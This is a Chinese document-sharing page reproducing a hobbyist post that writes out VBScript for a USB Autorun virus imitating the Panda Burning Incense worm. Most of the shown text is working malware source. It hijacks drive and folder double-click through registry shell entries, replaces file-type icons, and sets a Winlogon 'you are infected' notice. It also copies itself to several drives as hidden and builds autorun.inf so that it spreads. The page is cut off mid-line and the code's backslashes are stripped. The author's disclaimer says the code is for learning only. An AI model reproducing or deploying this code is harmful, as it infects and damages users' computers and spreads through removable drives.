资源描述:
《VB也模拟熊猫烧香!》由会员上传分享,免费在线阅读,更多相关内容在工程资料-天天文库。
1、VB也模拟熊猫烧香!使用过U盘的朋友都知道u盘病毒是一种Autorun自运行病毒,当双击时触发病毒体,会复制自身到CDE和系统盘system32下等盘符,(生成exe文件和一个Autorun.inf文件),同时修改注册表,当点击C盘等盘符右键时,会有一个auto命令(黑色粗体)或者是两个开始命令,本人学习vbs才15天,我也来模拟下这个autorun病毒和部分熊猫烧香功能,本人能力有限,只能模拟这样的病毒了,声明,本人模拟这个病毒,全是为了学习和技术,切忌不要搞破坏,如果有人用本人代码破坏,后果自负'使用户不能通过双击打开硬盘,这里还可以修改为使其不能通过双击打
2、开文件夹,同理,不赘续wsh.Regwrite"HKLMSOFTWAREClassesDriveshellautocommand","C:NYboy.bat'%1'"wsh.Regwrite"HKCRDriveshell","auto"wsh.Regwrite"HKCRDriveshellautocommand","C:NYboy.bat'%1'"wsh.Regwrite"HKLMSOFTWAREClassesDirectoryshell","auto"wsh.Regwrite"HKCRDirectoryshell
3、autocommand","C:NYboy.bat'%1'"wsh.Regwrite"HKLMSOFTWAREClassesDirectoryshellautocommand","C:NYboy.bat'%1'"'修改默认文件图标 这里可以换成可爱的熊猫哦wsh.Regwrite"HKCRexefileDefaultIcon","c:1.ico"wsh.Regwrite"HKCRtxtfileDefaultIcon","c:1.ico"wsh.Regwrite"HKCRdllfileDefaultIcon","c:
4、1.ico"wsh.Regwrite"HKCRbatfileDefaultIcon","c:1.ico"wsh.Regwrite"HKCRinifileDefaultIcon","c:1.ico"wsh.Regwrite"HKLMSOFTWAREClassesexefileDefaultIcon","c:1.ico"wsh.Regwrite"HKLMSOFTWAREClassestxtfileDefaultIcon","c:1.ico"wsh.Regwrite"HKLMSOFTWAREClassesdllfileD
5、efaultIcon","c:1.ico"wsh.Regwrite"HKLMSOFTWAREClassesbatfileDefaultIcon","c:1.ico"wsh.Regwrite"HKLMSOFTWAREClassesinifileDefaultIcon","c:1.ico"wsh.Regwrite"HKLMSoftwareCLASSES.reg","txtfile"wsh.Regwrite"HKLMSoftwareMicrosoftWindowsCurrentVersionWinlogonLegalNo
6、ticeCaption","你好啊,开个小小的玩笑"wsh.Regwrite"HKLMSoftwareMicrosoftWindowsCurrentVersionWinlogonLegalNoticeText","你已经中毒了!"'复制自身到C,D,E,F,U盘myfile.copy"c:"myfile.copy"D:"myfile.copy"E:"myfile.copy"F:"myfile.copy"I:"myfile.attributes=34'定义Autorun.inf的内容 这个就是u盘病毒必须的代码部分 这里可以简单写Iffso.
7、FileExists("C:autorun.inf")ThenSetobjFolder=fso.GetFile("C:autorun.inf")Elsewsh.run"cmd/cecho[AutoRun]>>C:autorun.inf"_&"&&echoopen=NYboy.bat>>C:autorun.inf"_&"&&echoshellexecute=NYboy.bat>>C:autorun.inf"_&"&&echoshellAutocommand=NYboy.bat>>C:autorun.inf"_&"&&echoshell=Auto>>
8、C:autorun.i